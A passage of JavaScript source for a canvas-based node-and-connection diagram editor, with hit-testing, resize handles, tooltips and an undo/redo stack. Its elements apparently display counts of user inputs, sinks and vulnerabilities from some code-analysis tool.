radius, y);\n  this.closePath();\n};\n\nvar Cursors =\n{\n\tarrow: \"default\",\n\tgrip: \"pointer\", // \"crosshair\",\n\tcross: \"pointer\", // \"crosshair\",\n\tmove: \"move\",\n\tselect: \"pointer\"\n};\n\nvar Connector = function(owner, template)\n{\n\tthis.owner = owner;\n\tthis.template = template;\n\tthis.connections = [];\n\tthis.hover = false;\n};\n\nConnector.prototype.getCursor = function(point)\n{\n\treturn Cursors.grip;\n};\n\nConnector.prototype.hitTest = function(rectangle)\n{\n\tif ((rectangle.width === 0) && (rectangle.height === 0))\n\t{\n\t\treturn this.getRectangle().contains(rectangle.topLeft());\n\t}\n\treturn rectangle.contains(this.getRectangle());\n};\n\nConnector.prototype.getRectangle = function()\n{\n\tvar point = this.owner.getConnectorPosition(this);\n\tvar rectangle = new Rectangle(point.x, point.y, 0, 0);\n\trectangle.inflate(3, 3);\n\treturn rectangle;\n};\n\nConnector.prototype.invalidate = function()\n{\n};\n\nConnector.prototype.isValid = function(value)\n{\n\tif (value === this)\n\t{\n\t\treturn false;\n\t}\n\tvar t1 = this.template.type.split(' ');\n\tif (!t1.contains(\"[array]\") && (this.connections.length == 1))\n\t{\n\t\treturn false;\n\t}\n\tif (value instanceof Connector)\n\t{\n\t\tvar t2 = value.template.type.split(' ');\n\t\tif ((t1[0] != t2[0]) ||\n\t\t(this.owner == value.owner) ||\n\t\t\t(t1.contains(\"[in]\") && !t2.contains(\"[out]\")) ||\n\t\t\t(t1.contains(\"[out]\") && !t2.contains(\"[in]\")) ||\n\t\t\t(!t2.contains(\"[array]\") && (value.connections.length == 1)))\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n};\n\nConnector.prototype.paint = function(context, other)\n{\n\tvar rectangle = this.getRectangle();\n\tvar strokeStyle = this.owner.owner.theme.connectorBorder;\n\tvar fillStyle = this.owner.owner.theme.connector;\n\tif (this.hover)\n\t{\n\t\tstrokeStyle = this.owner.owner.theme.connectorHoverBorder;\n\t\tfillStyle = this.owner.owner.theme.connectorHover;\n\t\tif (!this.isValid(other))\n\t\t{\n\t\t\tfillStyle = \"#f00\";\n\t\t}\n\t}\n\n\tcontext.lineWidth = 1;\n\tcontext.strokeStyle = strokeStyle;\n\tcontext.lineCap = \"butt\";\n\tcontext.fillStyle = fillStyle;\n\tcontext.fillRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width, rectangle.height);\n\tcontext.strokeRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width, rectangle.height);\n\n\tif (this.hover)\n\t{\n\t\t// Tooltip for Connector point\n\t\tvar text = (\"description\" in this.template) ? this.template.description : this.template.name;\n\t\tcontext.textBaseline = \"bottom\";\n\t\tcontext.font = \"8.25pt Tahoma\";\n\t\tvar size = context.measureText(text);\n\t\tsize.height = 14;\n\t\tvar a = new Rectangle(rectangle.x - Math.floor(size.width / 2), rectangle.y + size.height + 6, size.width, size.height);\n\t\tvar b = new Rectangle(a.x, a.y, a.width, a.height);\n\t\ta.inflate(4, 1);\n\t\tcontext.fillStyle = \"rgb(255, 255, 231)\";\n\t\tcontext.fillRect(a.x - 0.5, a.y - 0.5, a.width, a.height);\n\t\tcontext.strokeStyle = \"#000\";\n\t\tcontext.lineWidth = 1;\n\t\tcontext.strokeRect(a.x - 0.5, a.y - 0.5, a.width, a.height);\n\t\tcontext.fillStyle = \"#000\";\n\t\tcontext.fillText(text, b.x, b.y + 13);\n\t}\n};\n\nvar Tracker = function(rectangle, resizable)\n{\n\tthis.rectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\n\tthis.resizable = resizable;\n\tthis.track = false;\n};\n\nTracker.prototype.hitTest = function(point)\n{\n\t// (0, 0) element, (-1, -1) top-left, (+1, +1) bottom-right\n\tif (this.resizable)\n\t{\n\t\tfor (var x = -1; x <= +1; x++)\n\t\t{\n\t\t\tfor (var y = -1; y <= +1; y++)\n\t\t\t{\n\t\t\t\tif ((x !== 0) || (y !== 0))\n\t\t\t\t{\n\t\t\t\t\tvar hit = new Point(x, y);\n\t\t\t\t\tif (this.getGripRectangle(hit).contains(point))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn hit;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif (this.rectangle.contains(point))\n\t{\n\t\treturn new Point(0, 0);\n\t}\n\n\treturn new Point(-2, -2);\n};\n\nTracker.prototype.getGripRectangle = function(point)\n{\n\tvar r = new Rectangle(0, 0, 7, 7);\n\tif (point.x <   0) { r.x = this.rectangle.x - 7; }\n\tif (point.x === 0) { r.x = this.rectangle.x + Math.floor(this.rectangle.width / 2) - 3; }\n\tif (point.x >   0) { r.x = this.rectangle.x + this.rectangle.width + 1; }\n\tif (point.y <   0) { r.y = this.rectangle.y - 7; }\n\tif (point.y === 0) { r.y = this.rectangle.y + Math.floor(this.rectangle.height / 2) - 3; }\n\tif (point.y >   0) { r.y = this.rectangle.y + this.rectangle.height + 1; }\n\treturn r;\n};\n\nTracker.prototype.getCursor = function(point)\n{\n\tvar hit = this.hitTest(point);\n\tif ((hit.x === 0) && (hit.y === 0))\n\t{\n\t\treturn (this.track) ? Cursors.move : Cursors.select;\n\t}\n\tif ((hit.x >= -1) && (hit.x <= +1) && (hit.y >= -1) && (hit.y <= +1) && this.resizable)\n\t{\n\t\tif (hit.x === -1 && hit.y === -1) { return \"nw-resize\"; }\n\t\tif (hit.x === +1 && hit.y === +1) { return \"se-resize\"; }\n\t\tif (hit.x === -1 && hit.y === +1) { return \"sw-resize\"; }\n\t\tif (hit.x === +1 && hit.y === -1) { return \"ne-resize\"; }\n\t\tif (hit.x ===  0 && hit.y === -1) { return \"n-resize\";  }\n\t\tif (hit.x ===  0 && hit.y === +1) { return \"s-resize\";  }\n\t\tif (hit.x === +1 && hit.y ===  0) { return \"e-resize\";  }\n\t\tif (hit.x === -1 && hit.y ===  0) { return \"w-resize\";  }\n\t}\n\treturn null;\n};\n\nTracker.prototype.start = function(point, handle)\n{\n\tif ((handle.x >= -1) && (handle.x <= +1) && (handle.y >= -1) && (handle.y <= +1))\n\t{\n\t\tthis.handle = handle;\n\t\tthis.currentPoint = point;\n\t\tthis.track = true;\n\t}\n};\n\nTracker.prototype.move = function(point)\n{\n\tvar h = this.handle;\n\tvar a = new Point(0, 0);\n\tvar b = new Point(0, 0);\n\tif ((h.x == -1) || ((h.x === 0) && (h.y === 0))) { a.x = point.x - this.currentPoint.x; }\n\tif ((h.y == -1) || ((h.x === 0) && (h.y === 0))) { a.y = point.y - this.currentPoint.y; }\n\tif ((h.x == +1) || ((h.x === 0) && (h.y === 0))) { b.x = point.x - this.currentPoint.x; }\n\tif ((h.y == +1) || ((h.x === 0) && (h.y === 0))) { b.y = point.y - this.currentPoint.y; }\n\tvar tl = new Point(this.rectangle.x, this.rectangle.y);\n\tvar br = new Point(this.rectangle.x + this.rectangle.width, this.rectangle.y + this.rectangle.height);\n\ttl.x += a.x;\n\ttl.y += a.y;\n\tbr.x += b.x;\n\tbr.y += b.y;\n\tthis.rectangle.x = tl.x;\n\tthis.rectangle.y = tl.y;\n\tthis.rectangle.width = br.x - tl.x;\n\tthis.rectangle.height = br.y - tl.y;\n\tthis.currentPoint = point;\n};\n\nTracker.prototype.paint = function(context)\n{\n\tif (this.resizable)\n\t{\n\t\tfor (var x = -1; x <= +1; x++)\n\t\t{\n\t\t\tfor (var y = -1; y <= +1; y++)\n\t\t\t{\n\t\t\t\tif ((x !== 0) || (y !== 0))\n\t\t\t\t{\n\t\t\t\t\tvar rectangle = this.getGripRectangle(new Point(x, y));\n\t\t\t\t\tcontext.fillStyle = \"#ffffff\";\n\t\t\t\t\tcontext.strokeStyle = \"#000000\";\n\t\t\t\t\tcontext.lineWidth = 1;\n\t\t\t\t\tcontext.fillRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width - 1, rectangle.height - 1);\n\t\t\t\t\tcontext.strokeRect(rectangle.x - 0.5, rectangle.y - 0.5, rectangle.width - 1, rectangle.height - 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\nvar Element = function(template, point)\n{\n\tthis.template = template;\n\tthis.rectangle = new Rectangle(point.x, point.y, template.defaultWidth, template.defaultHeight);\n\tthis.content = template.defaultContent;\n\tthis.text = '';\n\tthis.userinput = 0;\n\tthis.sinks = 0;\n\tthis.vuln = 0;\n\tthis.owner = null;\n\tthis.hover = false;\n\tthis.selected = false;\n\tthis.tracker = null;\n\tthis.connectors = [];\n\tfor (var i = 0; i < template.connectorTemplates.length; i++)\n\t{\n\t\tvar connectorTemplate = template.connectorTemplates[i];\n\t\tthis.connectors.push(new Connector(this, connectorTemplate));\n\t}\n};\n\nElement.prototype.select = function()\n{\n\tthis.hover = false;\n\tthis.selected = true;\n\tthis.tracker = new Tracker(this.rectangle, (\"resizable\" in this.template) ? this.template.resizable : false);\n\tthis.invalidate();\n};\n\nElement.prototype.deselect = function()\n{\n\tthis.selected = false;\n\tthis.invalidate();\n\tthis.tracker = null;\n};\n\nElement.prototype.getRectangle = function()\n{\n\treturn ((this.tracker !== null) && (this.tracker.track)) ? this.tracker.rectangle : this.rectangle;\n};\n\nElement.prototype.getPageRectangle = function()\n{\n\tvar rectangle = this.getRectangle();\n\trectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\n\tvar canvas = this.owner.canvas;\n\trectangle.x += canvas.offsetLeft;\n\trectangle.y += canvas.offsetTop;\n\treturn rectangle;\n};\n\nElement.prototype.setRectangle = function(rectangle)\n{\n\tthis.invalidate();\n\tthis.rectangle = rectangle;\n\tif (this.tracker !== null)\n\t{\n\t\tthis.tracker.rectangle = new Rectangle(rectangle.x, rectangle.y, rectangle.width, rectangle.height);\n\t}\n\tthis.invalidate();\n};\n\nElement.prototype.paint = function(context)\n{\n\tthis.template.paint(this, context);\n\n\tif (this.selected)\n\t{\n\t\tthis.tracker.paint(context);\n\t}\n\n\t// mark all connections by mouseover\n\tif(this.hover || this.selected)\n\t{\n\t\tfor (var i = 0; i < this.connectors[1].connections.length; i++)\n\t\t{\n\t\t\tthis.connectors[1].connections[i].lineWidth = 2;\n\t\t\tif(this.connectors[1].connections[i].color != '#F00')\n\t\t\t\tthis.connectors[1].connections[i].color = '#00F';\n\t\t}\n\t} else\n\t{\n\t\tfor (var i = 0; i < this.connectors[1].connections.length; i++)\n\t\t{\n\t\t\tthis.connectors[1].connections[i].lineWidth = 1;\n\t\t\tif(this.connectors[1].connections[i].color != '#F00')\n\t\t\t\tthis.connectors[1].connections[i].color = '#000';\n\t\t}\n\t}\n\n\tvar rectangle = this.getRectangle();\n\tlines = this.text.split(\",\");\n\tcontext.textBaseline = \"bottom\";\n\tcontext.font = \"8.25pt Tahoma\";\n\tcontext.fillStyle = \"#000\";\n\tcontext.fillText(lines[0], rectangle.x + 5, rectangle.y + 13 + 20);\n\n\t// userinput DOT\n\tcontext.beginPath();\n\tcontext.fillStyle = \"#FFF\";\n\tcontext.arc(rectangle.x + this.template.defaultWidth-15,rectangle.y + this.template.defaultHeight-11,((this.userinput > 9) ? 9 : this.userinput),0,Math.PI*2,true);\n\tcontext.fill();\n\tcontext.closePath();\n\n\tcontext.beginPath();\n\tcontext.strokeStyle = \"#000\";\n\tcontext.lineWidth = 1;\n\tcontext.arc(rectangle.x + this.template.defaultWidth-15,rectangle.y + this.template.defaultHeight-11,((this.userinput > 9) ? 9 : this.userinput),0,Math.PI*2,true);\n\tcontext.stroke();\n\tcontext.closePath();\n\n\t// sensitive sink DOT\n\tcontext.beginPath();\n\tcontext.fillStyle = this.vuln ? \"red\" : \"#FFCE42\";\n\tcontext.arc(rectangle.x + this.template.defaultWidth-35,rectangle.y + this.template.defaultHeight-11,((this.sinks > 9) ? 9 : this.sinks),0,Math.PI*2,true);\n\tcontext.fill();\n\tcontext.closePath();\n\n\tcontext.beginPath();\n\tcontext.strokeStyle = \"#000\";\n\tcontext.lineWidth = 1;\n\tcontext.arc(rectangle.x + this.template.defaultWidth-35,rectangle.y + this.template.defaultHeight-11,((this.sinks > 9) ? 9 : this.sinks),0,Math.PI*2,true);\n\tcontext.stroke();\n\tcontext.closePath();\n\n\tif (this.hover)\n\t{\n\t\t// Tooltip for Element\n\t\tif(this.content.length > 20)\n\t\t{\n\t\t\tcontext.textBaseline = \"bottom\";\n\t\t\tcontext.font = \"8.25pt Tahoma\";\n\t\t\tvar size = context.measureText(this.content);\n\t\t\tsize.height = 14;\n\t\t\tvar a = new Rectangle(rectangle.x, rectangle.y -20, size.width, size.height);\n\t\t\tvar b = new Rectangle(a.x, a.y, a.width, a.height);\n\t\t\ta.inflate(4, 1);\n\t\t\tcontext.fillStyle = \"rgb(255, 255, 231)\";\n\t\t\tcontext.fillRect(a.x, a.y, a.width, a.height);\n\t\t\tcontext.strokeStyle = \"#000\";\n\t\t\tcontext.lineWidth = 1;\n\t\t\tcontext.strokeRect(a.x , a.y, a.width, a.height);\n\t\t\tcontext.fillStyle = \"#000\";\n\t\t\tcontext.fillText(this.content, b.x, b.y + 13);\n\t\t}\n\n\t\t/*\n\t\t// enlarge element to view whole text\n\t\tvar size = context.measureText(this.text);\n\t\tsize.height = 14;\n\t\tvar a = new Rectangle(rectangle.x + 4.5, rectangle.y + size.height + 4.5, this.template.defaultWidth-9, this.template.defaultHeight-20 + lines.length*15 - 18);\n\t\tvar b = new Rectangle(a.x, a.y+1, a.width, a.height);\n\t\ta.inflate(4, 1);\n\t\tcontext.fillStyle = \"#ddd\";\n\t\tcontext.fillRect(a.x - 0.5, a.y - 0.5, a.width, a.height);\n\t\tcontext.strokeStyle = \"#246\";\n\t\tcontext.lineWidth = 2;\n\t\tcontext.strokeRect(a.x - 0.5, a.y - 0.5, a.width, a.height);\n\t\tcontext.fillStyle = \"#000\";\n\t\tfor (var i = 0; i<lines.length; i++)\n\t\t\tcontext.fillText(lines[i], b.x, b.y + 13 + (i*15));\n\t\t*/\n\t}\n\n};\n\nElement.prototype.invalidate = function()\n{\n};\n\nElement.prototype.insertInto = function(owner)\n{\n\tthis.owner = owner;\n\tthis.owner.elements.push(this);\n};\n\nElement.prototype.remove = function()\n{\n\tthis.invalidate();\n\n\tfor (var i = 0; i < this.connectors.length; i++)\n\t{\n\t\tvar connections = this.connectors[i].connections;\n\t\tfor (var j = 0; j < connections.length; j++)\n\t\t{\n\t\t\tconnections[j].remove();\n\t\t}\n\t}\n\n\tif ((this.owner !== null) && (this.owner.elements.contains(this)))\n\t{\n\t\tthis.owner.elements.remove(this);\n\t}\n\n\tthis.owner = null;\n};\n\nElement.prototype.hitTest = function(rectangle)\n{\n\tif ((rectangle.width === 0) && (rectangle.height === 0))\n\t{\n\t\tif (this.rectangle.contains(rectangle.topLeft()))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\n\t\tif ((this.tracker !== null) && (this.tracker.track))\n\t\t{\n\t\t\tvar h = this.tracker.hitTest(rectangle.topLeft());\n\t\t\tif ((h.x >= -1) && (h.x <= +1) && (h.y >= -1) && (h.y <= +1))\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\tfor (var i = 0; i < this.connectors.length; i++)\n\t\t{\n\t\t\tif (this.connectors[i].hitTest(rectangle))\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n\n\treturn rectangle.contains(this.rectangle);\n};\n\nElement.prototype.getCursor = function(point)\n{\n\tif (this.tracker !== null)\n\t{\n\t\tvar cursor = this.tracker.getCursor(point);\n\t\tif (cursor !== null)\n\t\t{\n\t\t\treturn cursor;\n\t\t}\n\t}\n\n\t/*if (window.event.shiftKey)\n\t{\n\t\treturn Cursors.add;\n\t}*/\n\n\treturn Cursors.select;\n};\n\nElement.prototype.getConnector = function(name)\n{\n\tfor (var i = 0; i < this.connectors.length; i++)\n\t{\n\t\tvar connector = this.connectors[i];\n\t\tif (connector.template.name == name)\n\t\t{\n\t\t\treturn connector;\n\t\t}\n\t}\n\treturn null;\n};\n\nElement.prototype.getConnectorPosition = function(connector)\n{\n\tvar rectangle = this.getRectangle();\n\tvar point = connector.template.position(this);\n\tpoint.x += rectangle.x;\n\tpoint.y += rectangle.y;\n\treturn point;\n};\n\nElement.prototype.setContent = function(content)\n{\n\tthis.owner.setElementContent(this, content);\n};\n\nElement.prototype.getContent = function()\n{\n\treturn this.content;\n};\n\n/* -------------------------- connection ------------------- */\n\nvar Connection = function(from, to)\n{\n\tthis.from = from;\n\tthis.to = to;\n\tthis.toPoint = null;\n\tthis.color = '#000';\n\tthis.lineWidth = 1;\n};\n\nConnection.prototype.select = function()\n{\n\tthis.selected = true;\n\tthis.invalidate();\n};\n\nConnection.prototype.deselect = function()\n{\n\tthis.selected = false;\n\tthis.invalidate();\n};\n\nConnection.prototype.remove = function()\n{\n\tthis.invalidate();\n\tif ((this.from !== null) && (this.from.connections.contains(this)))\n\t{\n\t\tthis.from.connections.remove(this);\n\t}\n\tif ((this.to !== null) && (this.to.connections.contains(this)))\n\t{\n\t\tthis.to.connections.remove(this);\n\t}\n\tthis.from = null;\n\tthis.to = null;\n};\n\nConnection.prototype.insert = function(from, to)\n{\n\tthis.from = from;\n\tthis.to = to;\n\tthis.from.connections.push(this);\n\tthis.from.invalidate();\n\tthis.to.connections.push(this);\n\tthis.to.invalidate();\n\tthis.invalidate();\n};\n\nConnection.prototype.getCursor = function(point)\n{\n\treturn Cursors.select;\n};\n\nConnection.prototype.hitTest = function(rectangle)\n{\n\tif ((this.from !== null) && (this.to !== null))\n\t{\n\t\tvar p1 = this.from.owner.getConnectorPosition(this.from);\n\t\tvar p2 = this.to.owner.getConnectorPosition(this.to);\n\t\tif ((rectangle.width !== 0) || (rectangle.height !== 0))\n\t\t{\n\t\t\treturn (rectangle.contains(p1) && rectangle.contains(p2));\n\t\t}\n\n\t\tvar p = rectangle.topLeft();\n\n\t\t// p1 must be the leftmost point\n\t\tif (p1.x > p2.x) { var temp = p2; p2 = p1; p1 = temp; }\n\n\t\tvar r1 = new Rectangle(p1.x, p1.y, 0, 0);\n\t\tvar r2 = new Rectangle(p2.x, p2.y, 0, 0);\n\t\tr1.inflate(3, 3);\n\t\tr2.inflate(3, 3);\n\n\t\tif (r1.union(r2).contains(p))\n\t\t{\n\t\t\tif ((p1.x == p2.x) || (p1.y == p2.y)) // straight line\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse if (p1.y < p2.y)\n\t\t\t{\n\t\t\t\tvar o1 = r1.x + (((r2.x - r1.x) * (p.y - (r1.y + r1.height))) / ((r2.y + r2.height) - (r1.y + r1.height)));\n\t\t\t\tvar u1 = (r1.x + r1.width) + ((((r2.x + r2.width) - (r1.x + r1.width)) * (p.y - r1.y)) / (r2.y - r1.y));\n\t\t\t\treturn ((p.x > o1) && (p.x < u1));\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tvar o2 = r1.x + (((r2.x - r1.x) * (p.y - r1.y)) / (r2.y - r1.y));\n\t\t\t\tvar u2 = (r1.x + r1.width) + ((((r2.x + r2.width) - (r1.x + r1.width)) * (p.y - (r1.y + r1.height))) / ((r2.y + r2.height) - (r1.y + r1.height)));\n\t\t\t\treturn ((p.x > o2) && (p.x < u2));\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n};\n\nConnection.prototype.invalidate = function()\n{\n\tif (this.from !== null)\n\t{\n\t\tthis.from.invalidate();\n\t}\n\tif (this.to !== null)\n\t{\n\t\tthis.to.invalidate();\n\t}\n};\n\nConnection.prototype.paint = function(context)\n{\n\tcontext.strokeStyle = this.color;\n\tcontext.lineWidth = (this.hover) ? 2 : this.lineWidth;\n\tthis.paintLine(context, this.selected);\n};\n\nConnection.prototype.paintTrack = function(context)\n{\n\tcontext.strokeStyle = this.from.owner.owner.theme.connection;\n\tcontext.lineWidth = 1;\n\tthis.paintLine(context, true);\n};\n\nConnection.prototype.paintLine = function(context, dashed)\n{\n\tif (this.from !== null)\n\t{\n\t\tvar start = this.from.owner.getConnectorPosition(this.from);\n\t\tvar end = (this.to !== null) ? this.to.owner.getConnectorPosition(this.to) : this.toPoint;\n\t\tif ((start.x != end.x) || (start.y != end.y))\n\t\t{\n\t\t\tcontext.beginPath();\n\t\t\tif (dashed)\n\t\t\t{\n\t\t\t\tcontext.dashedLine(start.x, start.y, end.x, end.y);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tcontext.moveTo(start.x - 0.5, start.y - 0.5);\n\t\t\t\tcontext.lineTo(end.x - 0.5, end.y - 0.5);\n\t\t\t}\n\t\t\tcontext.closePath();\n\t\t\tcontext.stroke();\n\t\t}\n\t}\n};\n\nvar Selection = function(startPoint)\n{\n\tthis.startPoint = startPoint;\n\tthis.currentPoint = startPoint;\n};\n\nSelection.prototype.paint = function(context)\n{\n\tvar r = this.getRectangle();\n\tcontext.lineWidth = 1;\n\tcontext.beginPath();\n\tcontext.dashedLine(r.x - 0.5,           r.y - 0.5,            r.x - 0.5 + r.width, r.y - 0.5);\n\tcontext.dashedLine(r.x - 0.5 + r.width, r.y - 0.5,            r.x - 0.5 + r.width, r.y - 0.5 + r.height);\n\tcontext.dashedLine(r.x - 0.5 + r.width, r.y - 0.5 + r.height, r.x - 0.5,           r.y - 0.5 + r.height);\n\tcontext.dashedLine(r.x - 0.5,           r.y - 0.5 + r.height, r.x - 0.5,           r.y - 0.5);\n\tcontext.closePath();\n\tcontext.stroke();\n};\n\nSelection.prototype.getRectangle = function()\n{\n\tvar r = new Rectangle(\n\t\t(this.startPoint.x <= this.currentPoint.x) ? this.startPoint.x : this.currentPoint.x,\n\t\t(this.startPoint.y <= this.currentPoint.y) ? this.startPoint.y : this.currentPoint.y,\n\t\tthis.currentPoint.x - this.startPoint.x,\n\t\tthis.currentPoint.y - this.startPoint.y);\n\tif (r.width < 0)\n\t{\n\t\tr.width *= -1;\n\t}\n\tif (r.height < 0)\n\t{\n\t\tr.height *= -1;\n\t}\n\treturn r;\n};\n\nvar ContainerUndoUnit = function()\n{\n\tthis.undoUnits = [];\n};\n\nContainerUndoUnit.prototype.add = function(undoUnit)\n{\n\tthis.undoUnits.push(undoUnit);\n};\n\nContainerUndoUnit.prototype.undo = function()\n{\n\tfor (var i = 0; i < this.undoUnits.length; i++)\n\t{\n\t\tthis.undoUnits[i].undo();\n\t}\n};\n\nContainerUndoUnit.prototype.redo = function()\n{\n\tfor (var i = 0; i < this.undoUnits.length; i++)\n\t{\n\t\tthis.undoUnits[i].redo();\n\t}\n};\n\nContainerUndoUnit.prototype.isEmpty = function()\n{\n\tif (this.undoUnits.length > 0)\n\t{\n\t\tfor (var i = 0; i < this.undoUnits.length; i++)\n\t\t{\n\t\t\tif (!(\"isEmpty\" in this.undoUnits[i]) || !this.undoUnits[i].isEmpty())\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t}\n\treturn true;\n};\n\nvar InsertElementUndoUnit = function(element, owner)\n{\n\tthis.element = element;\n\tthis.owner = owner;\n};\n\nInsertElementUndoUnit.prototype.undo = function()\n{\n\tthis.element.remove();\n};\n\nInsertElementUndoUnit.prototype.redo = function()\n{\n\tthis.element.insertInto(this.owner);\n};\n\nvar DeleteElementUndoUnit = function(element)\n{\n\tthis.element = element;\n\tthis.owner = this.element.owner;\n};\n\nDeleteElementUndoUnit.prototype.undo = function()\n{\n\tthis.element.insertInto(this.owner);\n};\n\nDeleteElementUndoUnit.prototype.redo = function()\n{\n\tthis.element.remove();\n};\n\nvar InsertConnectionUndoUnit = function(connection, from, to)\n{\n\tthis.connection = connection;\n\tthis.from = from;\n\tthis.to = to;\n};\n\nInsertConnectionUndoUnit.prototype.undo = function()\n{\n\tthis.connection.remove();\n};\n\nInsertConnectionUndoUnit.prototype.redo = function()\n{\n\tthis.connection.insert(this.from, this.to);\n};\n\nvar DeleteConnectionUndoUnit = function(connection)\n{\n\tthis.connection = connection;\n\tthis.from = connection.from;\n\tthis.to = connection.to;\n};\n\nDeleteConnectionUndoUnit.prototype.undo = function()\n{\n\tthis.connection.insert(this.from, this.to);\n};\n\nDeleteConnectionUndoUnit.prototype.redo = function()\n{\n\tthis.connection.remove();\n};\n\nvar ContentChangedUndoUnit = function(element, content)\n{\n\tthis.element = element;\n\tthis.undoContent = element.content;\n\tthis.redoContent = content;\n};\n\nContentChangedUndoUnit.prototype.undo = function()\n{\n\tthis.element.content = this.undoContent;\n};\n\nContentChangedUndoUnit.prototype.redo = function()\n{\n\tthis.element.content = this.redoContent;\n};\n\nvar TransformUndoUnit = function(element, undoRectangle, redoRectangle)\n{\n\tthis.element = element;\n\tthis.undoRectangle = new Rectangle(undoRectangle.x, undoRectangle.y, undoRectangle.width, undoRectangle.height);\n\tthis.redoRectangle = new Rectangle(redoRectangle.x, redoRectangle.y, redoRectangle.width, redoRectangle.height);\n};\n\nTransformUndoUnit.prototype.undo = function()\n{\n\tthis.element.setRectangle(this.undoRectangle);\n};\n\nTransformUndoUnit.prototype.redo = function()\n{\n\tthis.element.setRectangle(this.redoRectangle);\n};\n\nvar SelectionUndoUnit = function()\n{\n\tthis.states = [];\n};\n\nSelectionUndoUnit.prototype.undo = function()\n{\n\tfor (var i = 0; i < this.states.length; i++)\n\t{\n\t\tif (this.states[i].undo)\n\t\t{\n\t\t\tthis.states[i].value.select();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthis.states[i].value.deselect();\n\t\t}\n\t}\n};\n\nSelectionUndoUnit.prototype.redo = function()\n{\n\tfor (var i = 0; i < this.states.length; i++)\n\t{\n\t\tif (this.states[i].redo)\n\t\t{\n\t\t\tthis.states[i].value.select();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthis.states[i].value.deselect();\n\t\t}\n\t}\n};\n\nSelectionUndoUnit.prototype.select = function(value)\n{\n\tthis.update(value, value.selected, true);\n};\n\nSelectionUndoUnit.prototype.deselect = function(value)\n{\n\tthis.update(value, value.selected, false);\n};\n\nSelectionUndoUnit.prototype.update = function(value, undo, redo)\n{\n\tfor (var i = 0; i < this.states.length; i++)\n\t{\n\t\tif (this.states[i].value == value)\n\t\t{\n\t\t\tthis.states[i].redo = redo;\n\t\t\treturn;\n\t\t}\n\t}\n\tthis.states.push({ value: value, undo: undo, redo: redo });\n};\n\nSelectionUndoUnit.prototype.isEmpty = function()\n{\n\tfor (var i = 0; i < this.states.length; i++)\n\t{\n\t\tif (this.states[i].undo != this.states[i].redo)\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n};\n\nvar UndoService = function()\n{\n\tthis.container = null;\n\tthis.stack = [];\n\tthis.position = 0;\n};\n\nUndoService.prototype.begin = function()\n{\n\tthis.container = new ContainerUndoUnit();\n};\n\nUndoService.prototype.cancel = function()\n{\n\tthis.container = null;\n};\n\nUndoService.prototype.commit = function()\n{\n\tif (!this.container.isEmpty())\n\t{\n\t\tthis.stack.splice(this.position, this.stack.length - this.position);\n\t\tthis.stack.push(this.container);\n\t\tthis.redo();\n\t}\n\tthis.container = null;\n};\n\nUndoService.prototype.add = function(undoUnit)\n{\n\tthis.container.add(undoUnit);\n};\n\nUndoService.prototype.undo = function()\n{\n\tif (this.position !== 0)\n\t{\n\t\tthis.position--;\n\t\tthis.stack[this.position].undo();\n\t}\n};\n\nUndoService.prototype.redo = function()\n{\n\tif ((this.stack.length !== 0) && (this.position < this.stack.length))\n\t{\n\t\tthis.stack[this.position].redo();\n\t\tthis.position++;\n\t}\n};\n\n// -------------------------------------------- Graph--------------------------------------------------------------\nvar Graph = function(element)\n{\n\tthis.canvas = element;\n\tthis.canvas.focus();\n\tthis.context = this.canvas.getContext(\"2d\");\n\tthis.theme = { background: \"#FFF\", connection: \"#000\", selection: \"#000\", connector: \"#31456b\", connectorBorder: \"#fff\", connectorHoverBorder: \"#000\", connectorHover: \"#0c0\" };\n\tthis.pointerPosition = new Point(0, 0);\n\tthis.shiftKey = false;\n\tthis.undoService = new UndoService();\n\tthis.elements = [];\n\tthis.activeTemplate = null;\n\tthis.activeObject = null;\n\tthis.newElement = null;\n\tthis.newConnection = null;\n\tthis.selection = null;\n\tthis.track = false;\n\n\tthis.mouseDownHandler = this.mouseDown.bind(this);\n\tthis.mouseUpHandler = this.mouseUp.bind(this);\n\tthis.mouseMoveHandler = this.mouseMove.bind(this);\n\tthis.doubleClickHandler = this.doubleClick.bind(this);\n\tthis.touchStartHandler = this.touchStart.bind(this);\n\tthis.touchEndHandler = this.touchEnd.bind(this);\n\tthis.touchMoveHandler = this.touchMove.bind(this);\n\tthis.keyDownHandler = this.keyDown.bind(this);\n\tthis.keyPressHandler = this.keyPress.bind(this);\n\tthis.keyUpHandler = this.keyUp.bind(this);\n\n\tthis.canvas.addEventListener(\"mousedown\", this.mouseDownHandler, false);\n\tthis.canvas.addEventListener(\"mouseup\", this.mouseUpHandler, false);\n\tthis.canvas.addEventListener(\"mousemove\", this.mouseMoveHandler, false);\n\tthis.canvas.addEventListener(\"touchstart\", this.touchStartHandler, false);\n\tthis.canvas.addEventListener(\"touchend\", this.touchEndHandler, false);\n\tthis.canvas.addEventListener(\"touchmove\", this.touchMoveHandler, false);\n\tthis.canvas.addEventListener(\"dblclick\", this.doubleClickHandler, false);\n\tthis.canvas.addEventListener(\"keydown\", this.keyDownHandler, false);\n\tthis.canvas.addEventListener(\"keypress\", this.keyPressHandler, false);\n\tthis.canvas.addEventListener(\"keyup\", this.keyUpHandler, false);\n\n\tthis.isWebKit = typeof navigator.userAgent.split(\"WebKit/\")[1] !== \"undefined\";\n\tthis.isMozilla = navigator.appVersion.indexOf('Gecko/') >= 0 || 